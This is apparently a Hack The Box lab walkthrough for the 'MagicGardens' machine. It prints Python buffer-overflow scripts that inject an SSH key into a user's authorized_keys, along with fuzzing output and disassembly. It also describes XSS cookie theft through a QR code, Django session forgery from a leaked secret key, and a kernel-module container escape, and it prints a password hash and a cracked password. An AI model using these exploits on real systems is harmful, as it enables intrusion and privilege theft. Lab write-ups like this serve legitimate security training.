Introduction to MagicGardens:

This write-up will explore the “MagicGardens” machine from Hack The Box, which is categorized as an insanely difficult challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective on MagicGardens machine:

The goal of this walkthrough is to complete the “MagicGardens” machine from Hack The Box by achieving the following objectives:

User Flag:

Method to Obtain the User Flag

The process began with directory enumeration, revealing an /admin panel and various endpoints. After registering an account and analyzing payment requests, we manipulated server responses to bypass subscription checks. Further, we intercepted a QR code, decoded its Base64 content, and injected an XSS payload to steal an admin session. Using the obtained session cookie, we accessed Morty’s Django admin panel, where we extracted password hashes and cracked them to gain further access.

With no immediate user flag, we shifted focus to privilege escalation by analyzing running processes with ps aux. We identified a suspicious harvest binary under user Alex and downloaded it for local analysis. Discovering a file-write vulnerability, we exploited it to inject an SSH public key into /home/alex/.ssh/authorized_keys. Finally, we logged in via SSH as Alex, gaining access to the system, where the user flag was found in /home/alex/user.txt.

Root Flag:

Exploiting a Vulnerable Service to Gain Root Access

The escalation begins with an email hinting at a configuration file, with the password physically stored on the target’s desk. Examining the binary harvest_handshake_server reveals unsafe input handling, which could be exploited. Using this strace, we track file interactions and identify a potential buffer overflow. By crafting a custom payload msf-pattern_create, we determine the exact overwrite location, leading to unauthorized access.

With initial access secured, we inject an SSH public key into the .ssh directory for persistence. Inside a Docker container, we discover the cap_sys_module capability, which allows us to load custom kernel modules. We compile a malicious .ko file, transfer it to the target, and use insmod it to load it, ultimately escalating privileges to root and capturing the flag.

Enumerating the Magicgardens Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oN nmap_initial.txt 10.10.11.9

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/magicgardern]
└──╼ $cat initial.nmap 
# Nmap 7.94SVN scan initiated Wed Feb  5 07:38:00 2025 as: nmap -sC -sV -oA initial 10.10.11.9
Nmap scan report for 10.10.11.9
Host is up (0.016s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT     STATE    SERVICE  VERSION
22/tcp   open     ssh      OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 e0:72:62:48:99:33:4f:fc:59:f8:6c:05:59:db:a7:7b (ECDSA)
|_  256 62:c6:35:7e:82:3e:b1:0f:9b:6f:5b:ea:fe:c5:85:9a (ED25519)
25/tcp   filtered smtp
80/tcp   open     http     nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://magicgardens.htb/
5000/tcp open     ssl/http Docker Registry (API: 2.0)
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2023-05-23T11:57:43
|_Not valid after:  2024-05-22T11:57:43
|_http-title: Site doesn't have a title.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Feb  5 07:38:49 2025 -- 1 IP address (1 host up) scanned in 48.78 seconds

Analysis:

  • Port 22 (SSH): OpenSSH 9.2p1 is running, allowing remote access. Potential attack vectors include weak credentials, outdated versions, or misconfigurations.
  • Port 25 (SMTP): Filtered, indicating email services might be present but inaccessible for direct enumeration.
  • Port 80 (HTTP): Running nginx 1.22.1, hosting a website that redirects to magicgardens.htb. Possible entry points include web vulnerabilities such as LFI, RCE, or SQLi.
  • Port 5000 (SSL/HTTP – Docker Registry): Exposes a Docker Registry API (v2.0). If misconfigured, attackers could pull, push, or modify container images, leading to privilege escalation or code execution. The SSL certificate details suggest an internal setup with a self-signed certificate.

Web Enumeration on MagicGardens:

Perform web enumeration to discover potentially exploitable directories and files.

gobuster dir -u http://10.10.11.9 -w /usr/share/wordlists/dirb/common.txt 

Gobuster Output:

Analysis:

  • Admin Panel:/admin directory detected; potential entry point for privilege escalation.
  • Authentication Endpoints:/login, /register, /profile—possible targets for brute force, SQL injection, or session hijacking.
  • Recovery Mechanisms:/restore and /check might handle password resets or system checks, which could expose vulnerabilities.
  • E-commerce Functionality:/cart, /catalog, and /subscribe suggest a transactional system; potential for IDOR or business logic flaws.
  • Duplicate Entries:/check and /restore appear twice, indicating potential misconfigurations or alternate paths worth testing.

Exploitation

Web Application Exploration:

Upon first access, the homepage presents itself as an e-commerce platform.

Let’s create a new account.

After successfully entering the previously created credentials, we are presented with the interface shown above.

Subscription Upgrade on MagicGardens Machine

An upgrade to a subscription is required.

Provide the payment details as displayed above and select a card.

If the specified bank address points to a local location, you can set up a Python server, update the address to your IP, and click send to observe the response.

The response from the Python server reveals a directory that needs to be accessed, such as /api/payments/.

If the specified bank address points to a local location, you can set up a Python server.

The subscription has been successfully processed.

It returned a 402 error, so I decided to modify it to 200 and observe the outcome.

A screenshot of a computer

AI-generated content may be incorrect.
A green rectangular box with black text

AI-generated content may be incorrect.

Finally, the payment was successful, and the purchase was completed.

Let’s update the bank information to use our IP address.

Using the Python script, the results indicate that we managed to trigger the /api/payments.

Bypass QR Code on MagicGardens Machine

Finally, we successfully obtained a QR code.

The QR code has been encoded in Base64.

Therefore, let’s decode the Base64.

I generated a QR code using CyberChef, following the detected format and inferred that a comma (,) was used as a separator. To inject XSS, I prefixed the payload accordingly, structuring it as ,..<???>.<???>.<XSS payload>.

Shortly after, I successfully obtained an admin cookie.

I obtained the following cookie:

csrftoken=xxx; sessionid=.xxxxxx

Using this cookie, I successfully accessed the user account of Morty.

Replace the original cookie with the recently retrieved one.

We successfully accessed Morty’s Django administration dashboard.

The extracted password hash is in PBKDF2-SHA256 format with 600,000 iterations:

pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=

To proceed, extract the hash to isolate the necessary components, then utilize Hashcat for a brute-force or dictionary attack to attempt password recovery.

We successfully cracked the hash, revealing the password: jonasbrothers.

Unfortunately, no user flag was found on Morty’s account.

There are no entries listed in sudo -l.

Enumerate using the harvest tool on MagicGarden machine

While examining running processes using ps aux, I noticed an unusual service running persistently. A harvest server was operating under user alex:

alex        1836  0.0  0.2  18968 10644 ?    Ss   May23   0:00 /lib/systemd/systemd --user                                                                                          
alex        1837  0.0  0.0 102708  3048 ?    S    May23   0:00  _ (sd-pam)                                                                                                          
alex        1856  0.0  0.0   2464   872 ?    S    May23   0:00 harvest server -l /home/alex/.harvest_logs

Additionally, I found mail files for both Alex and Root, potentially containing useful information:

/var/mail/alex  
/var/mail/root  
/var/spool/mail/alex  
/var/spool/mail/root  

To investigate further, I checked the harvest binary location:

morty@magicgardens:~$ whereis harvest  
harvest: /usr/local/bin/harvest  

Since Harvest is located in /usr/local/bin/, it may not be a standard system binary, making it a potential target for privilege escalation.

Let’s transfer the harvest binary to our local machine for further analysis.

Analyze on harvest script on MagicGardens Machine

After an initial review, it appears that the harvest binary requires enabling listening mode first. Once activated, the software begins monitoring network traffic, and potential vulnerabilities within it may allow file writing.

  • 0x6A: Command to request the server to enable listening mode.

Since this process has been running continuously, the next step is to download the binary and manually analyze its behaviour

Finally, we observe that the last detail displayed is the version number: 1.0.3.

import socket<br>host = '::1'<br>port = 8000

file = b'/home/alex/.ssh/authorized_keys'
nop = b'\r'
key_id_rsa = b'ssh-rsa '
orver = 65370

server_address = (host, port)
s = socket.socket(socket.af_inet6, socket.sock_dgram)
s.connect(server_address)
s.send(nop*(orver-len(key_id_rsa)) + b'\n' + key_id_rsa + b'\n' + file)

The screenshot above displays the command along with its available options.

Both screenshots above illustrate the execution flow and operational process.

Get Alex access via SSH service

Let’s generate the SSH private key.

import socket

# Define the target server and port
server_address = ('::1', 6666)

# Create a UDP socket for IPv6
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect(server_address)

# Prepare the payload with a large amount of newline characters
payload_size = 65403
data = bytearray(b'\n' * payload_size)

# Define the SSH key to inject
ssh_key = ('ssh-rsa xxxxxx')

# Target file path for SSH key injection
target_path = b"/home/alex/.ssh/authorized_keys"

# Modify the payload to include the target file and SSH key
send_data = data[:65372] + target_path
send_data[12:12+len(ssh_key)] = ssh_key.encode()

# Send the modified payload to the target
s.send(send_data)

print("[+] Exploit sent! Check if SSH access is available.")

The Python script I worked on, with assistance from Google, closely resembles the one shown above.

We need to transfer the script to the victim’s machine.

The document was successfully transmitted. Upon accessing the system, we observed the following:

Success! We have gained access to the machine as Alex uses the SSH key.

Finally, we got a user flag on Alex’s access

Buffer Overflow on MagicGardens Machine

Analyse with strace on the machine

The command sudo strace -t -e trace=openat ./harvest server -l dark.txt is used to trace system calls related to file opening (openat) while running the harvest binary with elevated privileges. The output shows that the program attempts to access shared library files like /etc/ld.so.cache and /lib/x86_64-linux-gnu/libc.so.6, which are necessary for dynamically linked executables. This behaviour is expected as part of the program’s initialization.

However, the [x] Bind failed message indicates that the program encountered an error while attempting to bind to a network socket. This could be due to a port already in use, insufficient privileges, or an incorrect network configuration. Since the process exits with status 1, the failure prevents further execution. To troubleshoot, checking whether the required port is free, ensuring the correct network interface is being used, or running the program with appropriate permissions might be necessary.

GDB analyze

gef➤  disassemble harvest_handshake_server
Dump of assembler code for function harvest_handshake_server:
   0x0000000000001b54 <+0>:	push   rbp
   0x0000000000001b55 <+1>:	mov    rbp,rsp
   0x0000000000001b58 <+4>:	sub    rsp,0x90
   0x0000000000001b5f <+11>:	mov    DWORD PTR [rbp-0x84],edi
   0x0000000000001b65 <+17>:	mov    QWORD PTR [rbp-0x90],rsi
   0x0000000000001b6c <+24>:	lea    rax,[rbp-0x80]
   0x0000000000001b70 <+28>:	pxor   xmm0,xmm0
   0x0000000000001b74 <+32>:	movaps XMMWORD PTR [rax],xmm0
   0x0000000000001b77 <+35>:	movaps XMMWORD PTR [rax+0x10],xmm0
   0x0000000000001b7b <+39>:	movaps XMMWORD PTR [rax+0x20],xmm0
   0x0000000000001b7f <+43>:	movaps XMMWORD PTR [rax+0x30],xmm0
   0x0000000000001b83 <+47>:	lea    rcx,[rbp-0x80]
   0x0000000000001b87 <+51>:	mov    eax,DWORD PTR [rbp-0x84]
   0x0000000000001b8d <+57>:	mov    edx,0x40
   0x0000000000001b92 <+62>:	mov    rsi,rcx
   0x0000000000001b95 <+65>:	mov    edi,eax
   0x0000000000001b97 <+67>:	call   0x1110 <read@plt>
   0x0000000000001b9c <+72>:	lea    rax,[rbp-0x40]
   0x0000000000001ba0 <+76>:	pxor   xmm0,xmm0
   0x0000000000001ba4 <+80>:	movaps XMMWORD PTR [rax],xmm0
   0x0000000000001ba7 <+83>:	movaps XMMWORD PTR [rax+0x10],xmm0
   0x0000000000001bab <+87>:	movaps XMMWORD PTR [rax+0x20],xmm0
   0x0000000000001baf <+91>:	movaps XMMWORD PTR [rax+0x30],xmm0
   0x0000000000001bb3 <+95>:	lea    rax,[rbp-0x40]
   0x0000000000001bb7 <+99>:	movabs rcx,0x2074736576726168
   0x0000000000001bc1 <+109>:	mov    QWORD PTR [rax],rcx
   0x0000000000001bc4 <+112>:	mov    WORD PTR [rax+0x8],0x76
   0x0000000000001bca <+118>:	lea    rax,[rbp-0x40]
   0x0000000000001bce <+122>:	mov    rdi,rax
   0x0000000000001bd1 <+125>:	call   0x10b0 <strlen@plt>
   0x0000000000001bd6 <+130>:	lea    rdx,[rbp-0x40]
   0x0000000000001bda <+134>:	add    rdx,rax
   0x0000000000001bdd <+137>:	mov    rax,QWORD PTR [rbp-0x90]
   0x0000000000001be4 <+144>:	mov    rsi,rax
   0x0000000000001be7 <+147>:	mov    rdi,rdx
   0x0000000000001bea <+150>:	call   0x1040 <strcpy@plt>
   0x0000000000001bef <+155>:	lea    rax,[rbp-0x40]
   0x0000000000001bf3 <+159>:	mov    rdi,rax
   0x0000000000001bf6 <+162>:	call   0x10b0 <strlen@plt>
   0x0000000000001bfb <+167>:	lea    rdx,[rbp-0x40]
   0x0000000000001bff <+171>:	add    rax,rdx
   0x0000000000001c02 <+174>:	mov    WORD PTR [rax],0xa
   0x0000000000001c07 <+179>:	lea    rdx,[rbp-0x80]
   0x0000000000001c0b <+183>:	lea    rax,[rbp-0x40]
   0x0000000000001c0f <+187>:	mov    rsi,rdx
   0x0000000000001c12 <+190>:	mov    rdi,rax
   0x0000000000001c15 <+193>:	call   0x1130 <strcmp@plt>
   0x0000000000001c1a <+198>:	test   eax,eax
   0x0000000000001c1c <+200>:	je     0x1c5d <harvest_handshake_server+265>
   0x0000000000001c1e <+202>:	lea    rax,[rip+0x1ba2]        # 0x37c7
   0x0000000000001c25 <+209>:	mov    rdi,rax
   0x0000000000001c28 <+212>:	call   0x1050 <puts@plt>
   0x0000000000001c2d <+217>:	mov    eax,DWORD PTR [rbp-0x84]
   0x0000000000001c33 <+223>:	mov    edx,0x15
   0x0000000000001c38 <+228>:	lea    rcx,[rip+0x1b9c]        # 0x37db
   0x0000000000001c3f <+235>:	mov    rsi,rcx
   0x0000000000001c42 <+238>:	mov    edi,eax
   0x0000000000001c44 <+240>:	call   0x1080 <write@plt>
   0x0000000000001c49 <+245>:	mov    eax,DWORD PTR [rbp-0x84]
   0x0000000000001c4f <+251>:	mov    edi,eax
   0x0000000000001c51 <+253>:	call   0x1100 <close@plt>
   0x0000000000001c56 <+258>:	mov    eax,0x0
   0x0000000000001c5b <+263>:	jmp    0x1c94 <harvest_handshake_server+320>
   0x0000000000001c5d <+265>:	lea    rax,[rbp-0x40]
   0x0000000000001c61 <+269>:	mov    rdi,rax
   0x0000000000001c64 <+272>:	call   0x10b0 <strlen@plt>
   0x0000000000001c69 <+277>:	mov    rdx,rax
   0x0000000000001c6c <+280>:	lea    rcx,[rbp-0x40]
   0x0000000000001c70 <+284>:	mov    eax,DWORD PTR [rbp-0x84]
   0x0000000000001c76 <+290>:	mov    rsi,rcx
   0x0000000000001c79 <+293>:	mov    edi,eax
   0x0000000000001c7b <+295>:	call   0x1080 <write@plt>
   0x0000000000001c80 <+300>:	lea    rax,[rip+0x1b69]        # 0x37f0
   0x0000000000001c87 <+307>:	mov    rdi,rax
   0x0000000000001c8a <+310>:	call   0x1050 <puts@plt>
   0x0000000000001c8f <+315>:	mov    eax,0x1
   0x0000000000001c94 <+320>:	leave
   0x0000000000001c95 <+321>:	ret
End of assembler dump.

Harvest handshake server explanation

The harvest_handshake_server function reads user input, processes it, and checks if it matches a specific value. It first prepares memory space and reads up to 64 characters from an input source, like a network connection or file. Then, it initializes a hidden phrase (“harvest”) in memory and appends the received input to it. The program then compares the modified phrase with the original input to determine if it matches.

If the input matches the expected value, the function sends a response, likely confirming successful authentication or communication. If the input is incorrect, it prints an error message and exits. This function appears to be part of an authentication mechanism, where the correct input grants access. However, if there’s a flaw in how it processes input, it could allow someone to bypass security.

0x0000000000001c0f <+187>:   mov    rsi,rdx
0x0000000000001c12 <+190>:   mov    rdi,rax
0x0000000000001c15 <+193>:   call   0x1130 <strcmp@plt>

Threat Hunting on the code

This section of code performs a string comparison check, which is a common pattern in authentication mechanisms. The value in rdx (likely user-controlled input) is moved into rsi, and the expected string (stored in rax) is placed into rdi. The program then calls strcmp@plt, which compares both values. If they match, strcmp returns 0, leading to a specific execution flow—potentially granting access or executing a privileged function.

From a threat-hunting perspective, this is a critical point for input validation attacks. If the input is not properly sanitized or if there’s an off-by-one buffer overflow, an attacker could manipulate the comparison result. Additionally, if rdx comes from untrusted sources (e.g., network packets, user input, or external files), adversaries could craft payloads to bypass authentication or force unintended behaviour. Monitoring for anomalies in string comparisons and unexpected execution flows around strcmp calls can help detect exploit attempts in real-time.

__int64 __fastcall handle_raw_packets(int a1, int a2, __int64 a3)
{
  char *v3; // rax
  __int64 result; // rax
  char dest[10]; // [rsp+2Eh] [rbp-10072h] BYREF
  time_t timer; // [rsp+38h] [rbp-10068h] BYREF
  char v8[32]; // [rsp+40h] [rbp-10060h] BYREF
  char v9[32]; // [rsp+60h] [rbp-10040h] BYREF
  _BYTE s[14]; // [rsp+80h] [rbp-10020h] BYREF
  __int16 v11; // [rsp+8Eh] [rbp-10012h] BYREF
  int v12; // [rsp+1008Ch] [rbp-14h]
  __int16 *v13; // [rsp+10090h] [rbp-10h]
  unsigned int v14; // [rsp+1009Ch] [rbp-4h]

  memset(s, 0, 0xFFFFuLL);
  v14 = recvfrom(a1, s, 0xFFFFuLL, 0, 0LL, 0LL);
  timer = time(0LL);
  v3 = ctime(&timer);
  strncpy(dest, v3 + 11, 8uLL);
  dest[8] = 0;
  if ( v14 <= 0x27 )
  {
    puts("Incomplete packet ");
    close(a1);
    exit(0);
  }
  v13 = &v11;
  v12 = 255;
  sprintf(v9, "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x", s[6], s[7], s[8], s[9], s[10], s[11]);
  sprintf(v8, "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x", v12 & s[0], v12 & s[1], v12 & s[2], v12 & s[3], v12 & s[4], v12 & s[5]);
  if ( *(_BYTE *)v13 == 69 )
    print_packet((_DWORD)v13, a3, a2, (unsigned int)v9, (unsigned int)v8, (unsigned int)dest, (__int64)s);
  result = *(unsigned __int8 *)v13;
  if ( (_BYTE)result == 96 )
    return log_packet(v13, a3);
  return result;
}

Upon reviewing the code, I observed that if the connection uses IPv6, the program flags it as suspicious and logs the details to a file.

In contrast, IPv4 connections are allowed by default, whereas IPv6 traffic is recorded and triggers a warning message indicating a potential issue.

┌─[dark@parrot]─[~/Documents/htb/magicgardern]
└──╼ $sudo strace -t -e trace=openat ./harvest server -l dark.txt
07:54:24 openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
07:54:24 openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
[*] Listening on interface ANY
[*] Successful handshake
07:55:06 openat(AT_FDCWD, "/etc/localtime", O_RDONLY|O_CLOEXEC) = 6
07:55:06 openat(AT_FDCWD, "dark.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.

To monitor which files the program writes locally, I use strace -t -e trace=openat to track the file paths it accesses during execution.

Exploiting on BOF

┌─[dark@parrot]─[~/Documents/htb/magicgardern]
└──╼ $cat bof.py 
import socket

server_address = ('::1',1338)
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect(server_address)
data = b'A'*65500
s.send(data)
┌─[dark@parrot]─[~/Documents/htb/magicgardern]
└──╼ $sudo strace -t -e trace=openat ./harvest server -l dark.txt
07:54:24 openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
07:54:24 openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
[*] Listening on interface ANY
[*] Successful handshake
07:55:06 openat(AT_FDCWD, "/etc/localtime", O_RDONLY|O_CLOEXEC) = 6
07:55:06 openat(AT_FDCWD, "dark.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
07:55:49 openat(AT_FDCWD, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
07:55:49 --- SIGSEGV {si_signo=SIGSEGV, si_code=SI_KERNEL, si_addr=NULL} ---
07:55:49 +++ killed by SIGSEGV +++
Segmentation fault

A large number of “AAAAA” characters are written locally, indicating a buffer overflow vulnerability. To identify the exact location of the filename within the payload, a 65,500-character payload is generated for further analysis.

┌─[dark@parrot]─[~/Documents/htb/magicgardern]
└──╼ $cat bof.txt 
[*] Exact match at offset 4524
[*] Exact match at offset 24804
[*] Exact match at offset 45084
[*] Exact match at offset 65364

Generate a 65,500-character pattern and save it to a file using:

msf-pattern_create -l 65500 > bof.txt

After saving the pattern, use Python to analyze its placement within the payload.

┌─[dark@parrot]─[~/Documents/htb/magicgardern]
└──╼ $cat bof2.py 
import socket

f = open('bof.txt','rb')

server_address = ('::1',1338)
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect(server_address)
data=''
with open('bof.txt','rb') as f:
        data=bytearray(f.read())
new=b"/tmp/dark.txt\r"
#data[65372:len(new)]=new
s.send(data[:65372]+new)
┌─[dark@parrot]─[~/Documents/htb/magicgardern]
└──╼ $sudo strace -t -e trace=openat ./harvest server -l dark.txt
08:01:22 openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
08:01:22 openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
[*] Listening on interface ANY
[*] Successful handshake
08:02:33 openat(AT_FDCWD, "/etc/localtime", O_RDONLY|O_CLOEXEC) = 6
08:02:33 openat(AT_FDCWD, "dark.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
08:02:33 openat(AT_FDCWD, "dark.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
08:02:33 openat(AT_FDCWD, "dark.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
08:02:33 openat(AT_FDCWD, "dark.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
08:02:33 openat(AT_FDCWD, "dark.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
08:02:33 openat(AT_FDCWD, "dark.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
08:02:33 openat(AT_FDCWD, "dark.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
08:02:33 openat(AT_FDCWD, "dark.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
08:02:37 openat(AT_FDCWD, "dark.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
08:02:37 openat(AT_FDCWD, "dark.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
08:02:37 openat(AT_FDCWD, "dark.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
08:02:37 openat(AT_FDCWD, "dark.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
08:02:54 --- SIGPIPE {si_signo=SIGPIPE, si_code=SI_USER, si_pid=2460, si_uid=0} ---
[!] Connection closed by client

The filename has been successfully identified and modified as intended.

Escalate to Root Privileges Access on MagicGardens Machine

Privilege Escalation:

I noticed an email addressed to Alex.

Alex’s password

Inside the email, I found a message stating, “Use this file for registry configuration. The password is on your desk.

Alex received a auth.zip file. Let’s extract and analyze its contents.

Since the password is unknown, let’s attempt a brute-force attack to crack it.

Successfully retrieved the password for Alex Miles.

DockerGrabber enumeration and exploitation

Successfully extracted the SECRET_KEY: SECRET_KEY=55A6cc8e2b8#ae1662c34)618U549601$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4&87b.

We’ll embed the SECRET_KEY into the code, generate a session cookie, inject it into a request to the Django instance, and ultimately obtain a root shell.

We can install Django by using the command above

We have obtained the session cookie, and now we’ll inject it into the request.

This image has an empty alt attribute; its file name is Screenshot-2025-02-07-at-22.17.32-1024x560.png

Replace the session cookie in the sessionid field at http://magicgardens.htb/admin/.

Docker Escape

We have gained access to the root user’s Docker environment.

Cap_Sys_Module exploitation

These files (linux-headers-6.1.0-11-amd64 and linux-headers-6.1.0-11-common) should not be present in the directory, as they are typically used for kernel compilation. Since Docker containers share the host’s kernel and primarily rely on it chroot, their presence is unusual.

Additionally, with gcc and make installed, it raises suspicion that this container has elevated privileges. Further investigation is needed to confirm its security implications. The presence cap_sys_module indicates that we can load kernel modules on the host, allowing us to escalate privileges.

All commands fail to execute except for the echo function.

Compiling the code to proceed

We need to create a reverse shell in C and configure a Makefile for compilation.

Next, we’ll run make inside the src folder and insert the newly compiled module.

We have successfully created the file in .ko format.

Let’s transfer the compiled file to the victim’s machine.

The transfer was successful.

The insmod file.ko command is used to insert or load a Loadable Kernel Module (LKM) into the running Linux kernel, allowing users to add additional functionality.

Troubleshooting the source code

Unfortunately, we are unable to obtain a shell using pwncat-cs.

We can remove (rmmod) and reload (insmod) the module since the file already exists.

We can read the root flag by typing the “cat root.txt” command